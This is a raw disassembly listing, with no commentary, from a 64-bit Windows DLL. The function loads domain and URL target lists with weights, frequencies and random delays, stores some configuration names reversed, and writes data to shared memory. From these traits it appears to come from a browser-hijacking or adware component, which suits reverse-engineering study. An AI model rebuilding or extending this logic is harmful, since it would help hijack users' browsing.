movsxd rdi, dword [rsp + 0x13bc]
lea rcx, [rsp + 0x1298]
call fcn.18001e510
cmp rdi, rax
jae 0x180013a46
lea rcx, [rsp + 0x14d8]
call fcn.18001e490
nop
lea rcx, [rsp + 0x14c8]
call fcn.18000fbc0
lea rcx, [rsp + 0x14c8]
call fcn.18000fba0
mov qword [rsp + 0x14d0], rax
mov rax, qword [rsp + 0x14d0]
mov eax, dword [rax + 0x1c]
mov dword [rsp + 0x14c4], eax
mov eax, dword [rsp + 0x14c4]
imul eax, eax, 7
mov dword [rsp + 0x14c4], eax
lea rcx, [rsp + 0x1508]
call fcn.180001700
nop
mov r8d, 2
lea rdx, [rsp + 0x1db0]
mov rcx, qword [rsp + 0x2218]
call fcn.18001cca0
mov qword [rsp + 0x20f8], rax
mov rax, qword [rsp + 0x20f8]
mov qword [rsp + 0x2100], rax
mov rdx, qword [rsp + 0x2100]
lea rcx, [rsp + 0x1508]
call fcn.18000b490
nop
lea rcx, [rsp + 0x1db0]
call fcn.1800017c0
lea rcx, [rsp + 0x1508]
call fcn.180004c60
mov rcx, rax
call fcn.180011df0
mov dword [rsp + 0x1510], eax
mov edx, 0xffffffff
lea rcx, [rsp + 0x1508]
call fcn.18000b520
mov edx, dword [rsp + 0x1510]
mov eax, dword [rsp + 0x14c4]
add eax, edx
mov dword [rsp + 0x14c4], eax
mov dword [rsp + 0x1514], 0
jmp 0x1800138c3
mov eax, dword [rsp + 0x1514]
add eax, 1
mov dword [rsp + 0x1514], eax
mov eax, dword [rsp + 0x13bc]
cmp dword [rsp + 0x1514], eax
jge 0x1800139b2
mov edi, dword [rsp + 0x14c4]
lea rcx, [rsp + 0x1298]
call fcn.18001e510
mov rcx, rax
xor edx, edx
mov rax, rdi
div rcx
mov dword [rsp + 0x1518], edx
mov edx, dword [rsp + 0x1518]
lea rcx, [rsp + 0x1298]
call fcn.18001e530
mov rdx, rax
lea rcx, [rsp + 0x14d8]
call fcn.18001e580
mov edi, dword [rsp + 0x1518]
lea rdx, [rsp + 0x1dc8]
lea rcx, [rsp + 0x1298]
call fcn.180038e70
mov r8, rdi
lea rdx, [rsp + 0x1dd8]
mov rcx, rax
call fcn.18001e8d0
lea rdi, [rsp + 0x1fa0]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x1db8]
lea rsi, [rsp + 0x1fa0]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x1f70]
lea rsi, [rsp + 0x1db8]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rsp + 0x1f70]
lea rdx, [rsp + 0x1de8]
lea rcx, [rsp + 0x1298]
call fcn.18001e660
jmp 0x1800138b2
lea rcx, [rsp + 0x1298]
call fcn.18001e700
lea rdx, [rsp + 0x1df8]
lea rcx, [rsp + 0x14d8]
call fcn.180022350
lea rdi, [rsp + 0x1f90]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x1e08]
lea rcx, [rsp + 0x14d8]
call fcn.180038e70
lea rdi, [rsp + 0x1f80]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rsp + 0x1f90]
lea rdx, [rsp + 0x1f80]
lea rcx, [rsp + 0x1298]
call fcn.180027f60
nop
lea rcx, [rsp + 0x1508]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x14d8]
call fcn.18001e4e0
lea rcx, [rsp + 0x1298]
call fcn.18001e510
test rax, rax
jbe 0x180013b75
lea rcx, [rsp + 0x1298]
call fcn.18001e510
lea rax, [rax*4 + 4]
mov dword [rsp + 0x1528], eax
mov ecx, dword [rsp + 0x1528]
call fcn.18004f654
mov qword [rsp + 0x1e18], rax
mov rax, qword [rsp + 0x1e18]
mov qword [rsp + 0x1520], rax
mov dword [rsp + 0x151c], 0
lea rdx, [rsp + 0x1530]
lea rcx, [rsp + 0x1298]
call fcn.180038e70
jmp 0x180013ad6
xor r8d, r8d
lea rdx, [rsp + 0x1e20]
lea rcx, [rsp + 0x1530]
call fcn.18001e870
lea rdx, [rsp + 0x1e30]
lea rcx, [rsp + 0x1298]
call fcn.180022350
mov rdx, rax
lea rcx, [rsp + 0x1530]
call fcn.18001e830
movzx eax, al
test eax, eax
je 0x180013b37
lea rcx, [rsp + 0x1530]
call fcn.180038e30
mov edx, dword [rsp + 0x151c]
mov rcx, qword [rsp + 0x1520]
mov eax, dword [rax]
mov dword [rcx + rdx*4 + 4], eax
mov eax, dword [rsp + 0x151c]
add eax, 1
mov dword [rsp + 0x151c], eax
jmp 0x180013abe
lea rcx, [rsp + 0x1298]
call fcn.18001e510
mov rdx, rax
mov rax, qword [rsp + 0x1520]
mov dword [rax], edx
mov r9d, dword [rsp + 0x1528]
mov r8, qword [rsp + 0x1520]
lea rdx, str.timecontrol
lea rcx, [rsp + 0x1300]
call fcn.1800116c0
mov dword [rsp + 0x308], 0
lea rcx, [rsp + 0xde8]
call fcn.180001700
nop
mov rcx, qword [rsp + 0x2210]
call fcn.18000b4f0
mov r9, rax
lea rax, [0x18006cacf]
mov qword [rsp + 0x20], rax
lea r8, str.RandDelay
mov rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x1e40]
call fcn.18000f550
mov qword [rsp + 0x2108], rax
mov rax, qword [rsp + 0x2108]
mov qword [rsp + 0x2110], rax
mov rcx, qword [rsp + 0x2110]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0xde8]
call fcn.180009190
nop
lea rcx, [rsp + 0x1e40]
call fcn.1800017c0
lea rcx, [rsp + 0xde8]
call fcn.18000b500
test eax, eax
jle 0x180013d87
xor r8d, r8d
lea rdx, [0x1800736dc]
lea rcx, [rsp + 0xde8]
call fcn.1800036f0
test eax, eax
jle 0x180013d87
lea rax, [fcn.1800017c0]
mov qword [rsp + 0x20], rax
lea r9, [fcn.180001700]
mov r8d, 3
mov edx, 8
lea rcx, [rsp + 0x1548]
call fcn.180050f50
nop
lea rax, [rsp + 0x1e48]
mov qword [rsp + 0x1e50], rax
lea rax, [rsp + 0x1e58]
mov qword [rsp + 0x1e60], rax
lea rdx, [rsp + 0xde8]
mov rcx, qword [rsp + 0x1e50]
call fcn.180001730
mov qword [rsp + 0x2118], rax
mov rax, qword [rsp + 0x2118]
mov qword [rsp + 0x2120], rax
lea rdx, [0x180073754]
mov rcx, qword [rsp + 0x1e60]
call fcn.180001760
mov qword [rsp + 0x2128], rax
mov r9d, 3
lea r8, [rsp + 0x1548]
mov rdx, qword [rsp + 0x2120]
mov rcx, qword [rsp + 0x2128]
call fcn.180009400
mov dword [rsp + 0x1540], eax
cmp dword [rsp + 0x1540], 2
jne 0x180013d68
lea rcx, [rsp + 0x1548]
call fcn.18000b4f0
mov rcx, rax
call fcn.18004ff68
mov dword [rsp + 0x1560], eax
lea rcx, [rsp + 0x1550]
call fcn.18000b4f0
mov rcx, rax
call fcn.18004ff68
mov dword [rsp + 0x1564], eax
mov eax, dword [rsp + 0x1560]
cmp dword [rsp + 0x1564], eax
jbe 0x180013d68
mov edx, dword [rsp + 0x1564]
mov ecx, dword [rsp + 0x1560]
call fcn.18000a630
mov dword [rsp + 0x308], eax
lea r9, [fcn.1800017c0]
mov r8d, 3
mov edx, 8
lea rcx, [rsp + 0x1548]
call fcn.180051004
mov dword [rsp + 0xe0c], 0
cmp dword [rsp + 0x308], 0
jbe 0x180013dba
call fcn.18000e540
mov ecx, dword [rsp + 0x308]
imul ecx, ecx, 0x3c
imul ecx, ecx, 0x3e8
add eax, ecx
mov dword [rsp + 0xe0c], eax
mov r9d, 0x4a0
lea r8, [rsp + 0xdf0]
lea rdx, str.lortnoockjh
lea rcx, [rsp + 0x1300]
call fcn.1800116c0
mov dword [rsp + 0x1568], 0
jmp 0x180013dfa
mov eax, dword [rsp + 0x1568]
add eax, 1
mov dword [rsp + 0x1568], eax
lea rdx, [0x180073798]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030e00
cmp dword [rsp + 0x1568], eax
jge 0x180013eb1
lea rcx, [rsp + 0x1570]
call fcn.180001700
nop
lea rdx, str.ProtectDomains
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x1568]
mov rcx, rax
call fcn.180030cd0
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x1570]
call fcn.18000b890
lea rcx, [rsp + 0x1570]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1c8]
call fcn.18002e740
lea rcx, [rsp + 0x1570]
call fcn.18000b4f0
mov rcx, rax
call fcn.1800106d0
nop
lea rcx, [rsp + 0x1570]
call fcn.1800017c0
jmp 0x180013de9
mov dword [rsp + 0x1578], 0
jmp 0x180013ecf
mov eax, dword [rsp + 0x1578]
add eax, 1
mov dword [rsp + 0x1578], eax
lea rdx, [0x1800737b8]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030e00
cmp dword [rsp + 0x1578], eax
jge 0x180013f6d
lea rcx, [rsp + 0x1580]
call fcn.180001700
nop
lea rdx, str.PassDomains
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x1578]
mov rcx, rax
call fcn.180030cd0
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x1580]
call fcn.18000b890
lea rcx, [rsp + 0x1580]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1c8]
call fcn.18002e740
nop
lea rcx, [rsp + 0x1580]
call fcn.1800017c0
jmp 0x180013ebe
lea rcx, [rsp + 0x1340]
call fcn.18000edc0
nop
lea rcx, [rsp + 0x13f8]
call fcn.18001d8d0
nop
lea rcx, [rsp + 0x1378]
call fcn.18001d8d0
nop
lea rcx, [rsp + 0xdb0]
call fcn.18001d8d0
nop
mov dword [rsp + 0x1588], 0
jmp 0x180013fc3
mov eax, dword [rsp + 0x1588]
add eax, 1
mov dword [rsp + 0x1588], eax
lea rdx, [0x1800737d4]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030e00
cmp dword [rsp + 0x1588], eax
jge 0x18001406e
lea rcx, [rsp + 0x1590]
call fcn.180001700
nop
lea rdx, str.Remove
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x1588]
mov rcx, rax
call fcn.180030cd0
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x1590]
call fcn.18000b890
lea rcx, [rsp + 0x1590]
call fcn.18000b500
test eax, eax
jle 0x18001405c
lea rdx, [rsp + 0x1590]
lea rcx, [rsp + 0xdb0]
call fcn.18001d9f0
nop
lea rcx, [rsp + 0x1590]
call fcn.1800017c0
jmp 0x180013fb2
mov dword [rsp + 0x1598], 0
jmp 0x18001408c
mov eax, dword [rsp + 0x1598]
add eax, 1
mov dword [rsp + 0x1598], eax
lea rdx, [0x180073774]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030e00
cmp dword [rsp + 0x1598], eax
jge 0x180014137
lea rcx, [rsp + 0x15a0]
call fcn.180001700
nop
lea rdx, [0x180073794]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x1598]
mov rcx, rax
call fcn.180030cd0
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x15a0]
call fcn.18000b890
lea rcx, [rsp + 0x15a0]
call fcn.18000b500
test eax, eax
jle 0x180014125
lea rdx, [rsp + 0x15a0]
lea rcx, [rsp + 0x1378]
call fcn.18001d9f0
nop
lea rcx, [rsp + 0x15a0]
call fcn.1800017c0
jmp 0x18001407b
lea rcx, [rsp + 0x13b0]
call fcn.18000b4f0
mov rsi, rax
lea rcx, [rsp + 0x12d0]
call fcn.18000b4f0
mov rdi, rax
mov rcx, qword [rsp + 0x2208]
call fcn.18000b4f0
mov rcx, rax
lea rax, [rsp + 0xdb0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1378]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x13f8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1340]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x2200]
mov qword [rsp + 0x20], rax
mov r9, rsi
mov r8d, dword [rsp + 0x12c8]
mov rdx, rdi
call fcn.180010840
mov dword [rsp + 0x320], 0
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x1340]
call fcn.180011c70
mov qword [rsp + 0x12d8], rax
cmp qword [rsp + 0x12d8], 0
je 0x180014245
cmp dword [rsp + 0x320], 0
jbe 0x180014245
mov r9d, dword [rsp + 0x320]
mov r8, qword [rsp + 0x12d8]
lea rdx, str.hjkdomains
lea rcx, [rsp + 0x1300]
call fcn.1800116c0
mov rax, qword [rsp + 0x12d8]
mov qword [rsp + 0x1e68], rax
mov rcx, qword [rsp + 0x1e68]
call fcn.18004f750
mov qword [rsp + 0x12d8], 0
lea rcx, [rsp + 0x13f8]
call fcn.18001d9e0
mov dword [rsp + 0x13b8], eax
cmp dword [rsp + 0x13b8], 0
jbe 0x180014463
mov dword [rsp + 0x15b0], 0
lea rdx, [rsp + 0x15c0]
lea rcx, [rsp + 0x13f8]
call fcn.18001d970
jmp 0x1800142a1
xor r8d, r8d
lea rdx, [rsp + 0x1e70]
lea rcx, [rsp + 0x15c0]
call fcn.18001e2d0
lea rdx, [rsp + 0x1e80]
lea rcx, [rsp + 0x13f8]
call fcn.18001d9b0
mov rdx, rax
lea rcx, [rsp + 0x15c0]
call fcn.18001e170
movzx eax, al
test eax, eax
je 0x1800142f8
lea rcx, [rsp + 0x15c0]
call fcn.18001e150
mov rcx, rax
call fcn.18000b500
mov edx, eax
mov eax, dword [rsp + 0x15b0]
lea eax, [rax + rdx + 1]
mov dword [rsp + 0x15b0], eax
jmp 0x180014289
mov eax, dword [rsp + 0x15b0]
add rax, 4
mov dword [rsp + 0x15b4], eax
mov ecx, dword [rsp + 0x15b4]
call fcn.18004f654
mov qword [rsp + 0x1e90], rax
mov rax, qword [rsp + 0x1e90]
mov qword [rsp + 0x15a8], rax
mov rcx, qword [rsp + 0x15a8]
mov eax, dword [rsp + 0x13b8]
mov dword [rcx], eax
mov dword [rsp + 0x15b8], 0
lea rdx, [rsp + 0x15d0]
lea rcx, [rsp + 0x13f8]
call fcn.18001d970
jmp 0x180014379
xor r8d, r8d
lea rdx, [rsp + 0x1e98]
lea rcx, [rsp + 0x15d0]
call fcn.18001e2d0
lea rdx, [rsp + 0x1ea8]
lea rcx, [rsp + 0x13f8]
call fcn.18001d9b0
mov rdx, rax
lea rcx, [rsp + 0x15d0]
call fcn.18001e170
movzx eax, al
test eax, eax
je 0x180014422
lea rcx, [rsp + 0x15d0]
call fcn.180020aa0
mov rcx, rax
call fcn.18000b4f0
mov rdi, rax
lea rcx, [rsp + 0x15d0]
call fcn.18001e150
mov rcx, rax
call fcn.18000b500
add eax, 1
movsxd rdx, eax
mov ecx, dword [rsp + 0x15b8]
mov rax, qword [rsp + 0x15a8]
lea rcx, [rax + rcx + 4]
mov r8, rdi
call fcn.180050d58
lea rcx, [rsp + 0x15d0]
call fcn.18001e150
mov rcx, rax
call fcn.18000b500
mov edx, eax
mov eax, dword [rsp + 0x15b8]
lea eax, [rax + rdx + 1]
mov dword [rsp + 0x15b8], eax
jmp 0x180014361
mov r9d, dword [rsp + 0x15b4]
mov r8, qword [rsp + 0x15a8]
lea rdx, str.hjkurls
lea rcx, [rsp + 0x1300]
call fcn.1800116c0
mov rax, qword [rsp + 0x15a8]
mov qword [rsp + 0x1eb8], rax
mov rcx, qword [rsp + 0x1eb8]
call fcn.18004f750
mov dword [rsp + 0x31c], 0
lea rcx, [rsp + 0x2d8]
call fcn.18001e950
nop
lea rdx, [0x180073800]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov rcx, rax
call fcn.180030e00
mov dword [rsp + 0x12fc], eax
mov dword [rsp + 0x15e0], 0
jmp 0x1800144bd
mov eax, dword [rsp + 0x15e0]
add eax, 1
mov dword [rsp + 0x15e0], eax
mov eax, dword [rsp + 0x12fc]
cmp dword [rsp + 0x15e0], eax
jge 0x180014b29
lea rcx, [rsp + 0x15e8]
call fcn.180001700
nop
lea rdx, [0x180073808]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x15e0]
mov rcx, rax
call fcn.180030cd0
lea rdx, [0x1800737c4]
mov rcx, rax
call fcn.180030c10
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x15e8]
call fcn.180009190
xor eax, eax
cmp eax, 1
je 0x1800147bf
xor r8d, r8d
lea rdx, [0x180073810]
lea rcx, [rsp + 0x15e8]
call fcn.1800036f0
mov dword [rsp + 0x1a14], eax
cmp dword [rsp + 0x1a14], 0
jge 0x180014561
jmp 0x1800147bf
mov r8d, dword [rsp + 0x1a14]
lea rdx, [0x180073814]
lea rcx, [rsp + 0x15e8]
call fcn.1800036f0
mov dword [rsp + 0x1a10], eax
cmp dword [rsp + 0x1a10], 0
jge 0x180014593
jmp 0x1800147bf
lea rcx, [rsp + 0x1a08]
call fcn.180001700
nop
mov eax, dword [rsp + 0x1a14]
mov r9d, dword [rsp + 0x1a10]
sub r9d, eax
add r9d, 1
mov r8d, dword [rsp + 0x1a14]
lea rdx, [rsp + 0x1ec0]
lea rcx, [rsp + 0x15e8]
call fcn.18000bac0
mov qword [rsp + 0x2130], rax
mov rax, qword [rsp + 0x2130]
mov qword [rsp + 0x2138], rax
mov rdx, qword [rsp + 0x2138]
lea rcx, [rsp + 0x1a08]
call fcn.180002bf0
nop
lea rcx, [rsp + 0x1ec0]
call fcn.1800017c0
lea rcx, [rsp + 0x1a00]
call fcn.180001700
nop
lea rdx, [rsp + 0x1a08]
lea rcx, [rsp + 0x1a00]
call fcn.180002bf0
mov r8d, 1
xor edx, edx
lea rcx, [rsp + 0x1a00]
call fcn.18000b5d0
lea rcx, [rsp + 0x1a00]
call fcn.18000b500
mov edx, eax
sub edx, 1
mov r8d, 1
lea rcx, [rsp + 0x1a00]
call fcn.18000b5d0
lea rcx, [rsp + 0x1a00]
call fcn.18001d3b0
mov rcx, qword [rsp + 0x2208]
call fcn.18000b4f0
mov rdi, rax
lea rcx, [rsp + 0x1a00]
call fcn.18000b4f0
mov qword [rsp + 0x20], rdi
lea r9, [0x180073818]
mov r8, rax
lea rdx, [0x180073820]
lea rcx, [rsp + 0x1ec8]
call fcn.180009320
mov qword [rsp + 0x2140], rax
mov rax, qword [rsp + 0x2140]
mov qword [rsp + 0x2148], rax
mov rcx, qword [rsp + 0x2148]
call fcn.18000b4f0
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1ed0]
call fcn.180041660
mov qword [rsp + 0x2150], rax
mov rax, qword [rsp + 0x2150]
mov qword [rsp + 0x2158], rax
mov rcx, qword [rsp + 0x2158]
call fcn.18000b4f0
mov r8d, 1
mov rdx, rax
lea rcx, [rsp + 0x1ed8]
call fcn.180041440
mov qword [rsp + 0x2160], rax
mov rax, qword [rsp + 0x2160]
mov qword [rsp + 0x2168], rax
mov rcx, qword [rsp + 0x2168]
call fcn.18000b4f0
mov rdi, rax
lea rcx, [rsp + 0x1a08]
call fcn.18000b4f0
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x15e8]
call fcn.18001d0b0
nop
lea rcx, [rsp + 0x1ed8]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1ed0]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1ec8]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1a00]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1a08]
call fcn.1800017c0
jmp 0x180014529
lea rdx, [0x180073830]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x15e0]
mov rcx, rax
call fcn.180030cd0
lea rdx, str.Freq
mov rcx, rax
call fcn.180030c10
mov rcx, rax
call fcn.180030d30
mov dword [rsp + 0x15f4], eax
mov dword [rsp + 0x15f8], 0
lea rdx, str.Targets
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
mov edx, dword [rsp + 0x15e0]
mov rcx, rax
call fcn.180030cd0
lea rdx, str.Weight
mov rcx, rax
call fcn.180030c10
mov rcx, rax
call fcn.180030d30
mov dword [rsp + 0x15f0], eax
lea rcx, [rsp + 0x15e8]
call fcn.18000b500
add eax, 1
cdqe
cmp rax, 0x1f4
ja 0x180014888
lea rcx, [rsp + 0x15e8]
call fcn.180003370
mov r8, rax
mov edx, 0x1f4
lea rcx, [rsp + 0x15fc]
call fcn.180050678
mov dword [rsp + 0x19f0], 0
mov dword [rsp + 0x19e8], 0
lea rdx, [0x180073850]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
lea rdx, str.ResetMax
mov rcx, rax
call fcn.180030c10
mov rcx, rax
call fcn.180030d30
mov dword [rsp + 0x19ec], eax
lea rdx, [0x180073878]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
lea rdx, str.ResetTime
mov rcx, rax
call fcn.180030c10
mov rcx, rax
call fcn.180030d30
mov dword [rsp + 0x19e4], eax
cmp dword [rsp + 0x128c], 3
jne 0x180014b01
lea rcx, [rsp + 0x1b28]
call fcn.180001000
nop
lea rcx, [rsp + 0x15e8]
call fcn.18000b4f0
mov rcx, rax
lea rax, [rsp + 0x1b28]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x18007382c]
call fcn.18000a000
lea rcx, [rsp + 0x1b18]
call fcn.180001700
nop
lea rcx, [rsp + 0x1b28]
call fcn.18002c380
mov rdi, rax
lea rcx, [rsp + 0x1b28]
call fcn.18000b4f0
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x1b18]
call fcn.18001cf10
xor r9d, r9d
mov r8d, 0xa
mov edx, 0x50
lea rcx, [rsp + 0x1a20]
call fcn.180043f00
lea rcx, [rsp + 0x1af0]
call fcn.180001700
nop
lea rdx, [0x1800738a0]
lea rcx, [rsp + 0x1af0]
call fcn.1800017e0
lea rdx, [rsp + 0x1a20]
lea rcx, [rsp + 0x1af0]
call fcn.180002c50
lea rcx, [rsp + 0x1b18]
call fcn.18000b500
add eax, 0xa
mov dword [rsp + 0x1b20], eax
lea rcx, [rsp + 0x1b00]
call fcn.180011eb0
lea rcx, [rsp + 0x1af0]
call fcn.18000b4f0
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x1b20]
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x1b00]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x1af8], rax
cmp qword [rsp + 0x1af8], 0
je 0x180014ad8
mov eax, dword [rsp + 0x1b20]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 6
mov rcx, qword [rsp + 0x1af8]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x1b38], rax
cmp qword [rsp + 0x1b38], 0
je 0x180014ad8
lea rcx, [rsp + 0x1b18]
call fcn.180004c60
mov edx, dword [rsp + 0x1b20]
mov r8, rax
mov rcx, qword [rsp + 0x1b38]
call fcn.180050d58
mov rcx, qword [rsp + 0x1b38]
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea r8, [rsp + 0x1a20]
mov edx, 0x1f4
lea rcx, [rsp + 0x15fc]
call fcn.180050678
nop
lea rcx, [rsp + 0x1af0]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1b18]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1b28]
call fcn.180001030
lea rdx, [rsp + 0x15f0]
lea rcx, [rsp + 0x2d8]
call fcn.18001ea50
nop
lea rcx, [rsp + 0x15e8]
call fcn.1800017c0
jmp 0x1800144ac
lea rcx, [rsp + 0x2d8]
call fcn.18001e9d0
mov dword [rsp + 0x318], eax
cmp dword [rsp + 0x318], 0
jbe 0x180014c4e
mov eax, dword [rsp + 0x318]
imul rax, rax, 0x404
add rax, 4
mov dword [rsp + 0x1b48], eax
mov ecx, dword [rsp + 0x1b48]
call fcn.18004f654
mov qword [rsp + 0x1ee0], rax
mov rax, qword [rsp + 0x1ee0]
mov qword [rsp + 0x1b40], rax
mov rcx, qword [rsp + 0x1b40]
mov eax, dword [rsp + 0x318]
mov dword [rcx], eax
mov dword [rsp + 0x1b4c], 0
jmp 0x180014bb7
mov eax, dword [rsp + 0x1b4c]
add eax, 1
mov dword [rsp + 0x1b4c], eax
mov eax, dword [rsp + 0x318]
cmp dword [rsp + 0x1b4c], eax
jae 0x180014c0d
movsxd rdx, dword [rsp + 0x1b4c]
lea rcx, [rsp + 0x2d8]
call fcn.18001ea00
mov r8, rax
movsxd rcx, dword [rsp + 0x1b4c]
imul rcx, rcx, 0x404
mov rax, qword [rsp + 0x1b40]
lea rcx, [rax + rcx + 4]
mov r9d, 0x404
mov edx, 0x404
call fcn.18004f95c
jmp 0x180014ba6
mov r9d, dword [rsp + 0x1b48]
mov r8, qword [rsp + 0x1b40]
lea rdx, str.targets
lea rcx, [rsp + 0x1300]
call fcn.1800116c0
mov rax, qword [rsp + 0x1b40]
mov qword [rsp + 0x1ee8], rax
mov rcx, qword [rsp + 0x1ee8]
call fcn.18004f750
lea rdi, [rsp + 0x330]
xor eax, eax
mov ecx, 0xa7c
rep stosb byte [rdi], al
mov dword [rsp + 0x1b50], 0
jmp 0x180014c7d
mov eax, dword [rsp + 0x1b50]
add eax, 1
mov dword [rsp + 0x1b50], eax
lea rdx, [0x1800738b8]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
lea rdx, [0x1800738d0]
mov rcx, rax
call fcn.180030c10
mov rcx, rax
call fcn.180030e00
cmp dword [rsp + 0x1b50], eax
jge 0x180014e21
lea rcx, [rsp + 0x1b58]
call fcn.180001700
nop
mov dword [rsp + 0x1b54], 0
lea rdx, [0x1800738e0]
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
lea rdx, [0x1800738f8]
mov rcx, rax
call fcn.180030c10
mov edx, dword [rsp + 0x1b50]
mov rcx, rax
call fcn.180030cd0
lea rdx, str.name
mov rcx, rax
call fcn.180030c10
mov rcx, rax
call fcn.180030d50
mov rdx, rax
lea rcx, [rsp + 0x1b58]
call fcn.18000b890
lea rdx, str.PricateDeployments
mov rcx, qword [rsp + 0x310]
call fcn.180030c10
lea rdx, str.BrowserMax
mov rcx, rax
call fcn.180030c10
mov edx, dword [rsp + 0x1b50]
mov rcx, rax
call fcn.180030cd0
lea rdx, [0x180073934]
mov rcx, rax
call fcn.180030c10
mov rcx, rax
call fcn.180030d30
mov dword [rsp + 0x1b54], eax
lea rcx, [rsp + 0x1b58]
call fcn.18000b500
test eax, eax
jle 0x180014e0f
mov eax, dword [rsp + 0x330]
cmp rax, 0xa
jae 0x180014e0f
mov eax, dword [rsp + 0x330]
imul rax, rax, 0x10c
mov dword [rsp + rax + 0x43c], 0
mov ecx, dword [rsp + 0x330]
imul rcx, rcx, 0x10c
mov eax, dword [rsp + 0x1b54]
mov dword [rsp + rcx + 0x438], eax
lea rcx, [rsp + 0x1b58]
call fcn.18000b4f0
mov r8, rax
mov eax, dword [rsp + 0x330]
imul rax, rax, 0x10c
lea rcx, [rsp + rax + 0x334]
mov edx, 0x104
call fcn.180050d58
mov eax, dword [rsp + 0x330]
add eax, 1
mov dword [rsp + 0x330], eax
lea rcx, [rsp + 0x1b58]
call fcn.1800017c0
jmp 0x180014c6c
mov r9d, 0xa7c
lea r8, [rsp + 0x330]
lea rdx, str.xrmaresworb
lea rcx, [rsp + 0x1300]
call fcn.1800116c0
mov dword [rsp + 0x12f8], 0
lea rdx, [rsp + 0x12f8]
lea rcx, [rsp + 0x1300]
call fcn.180011900
mov qword [rsp + 0x12f0], rax
lea rcx, [rsp + 0x328]
call fcn.180001700
nop
mov eax, dword [rsp + 0x178]
mov dword [rsp + 0x2170], eax
mov eax, dword [rsp + 0x178]
add eax, 1
mov dword [rsp + 0x178], eax
mov r8d, dword [rsp + 0x2170]
lea rdx, str.metkjhi_d
lea rcx, [rsp + 0x328]
call fcn.18000c1b0
lea rcx, [rsp + 0x328]
call fcn.18000b4f0
mov r9d, dword [rsp + 0x12f8]
mov r8, qword [rsp + 0x12f0]
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.1800116c0
nop
lea rcx, [rsp + 0x328]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x2d8]
call fcn.18001e9a0
nop
lea rcx, [rsp + 0xdb0]
call fcn.18001d940
nop
lea rcx, [rsp + 0x1378]
call fcn.18001d940
nop
lea rcx, [rsp + 0x13f8]
call fcn.18001d940
nop
lea rcx, [rsp + 0x1340]
call fcn.180015a80
nop
lea rcx, [rsp + 0xde8]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1298]
call fcn.18001e4e0
nop
lea rcx, [rsp + 0x13c0]
call fcn.18001e380
nop
lea rcx, [rsp + 0x1338]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x13b0]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x12d0]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1300]
call fcn.180011620
nop
lea rcx, [rsp + 0x12e8]
call fcn.1800017c0
jmp 0x1800129a3
call fcn.180010810
mov r9d, 4
lea r8, [rsp + 0x178]
lea rdx, str.hjkitemcount
lea rcx, [rsp + 0x180]
call fcn.1800116c0
mov dword [rsp + 0x64], 0
lea rdx, [rsp + 0x64]
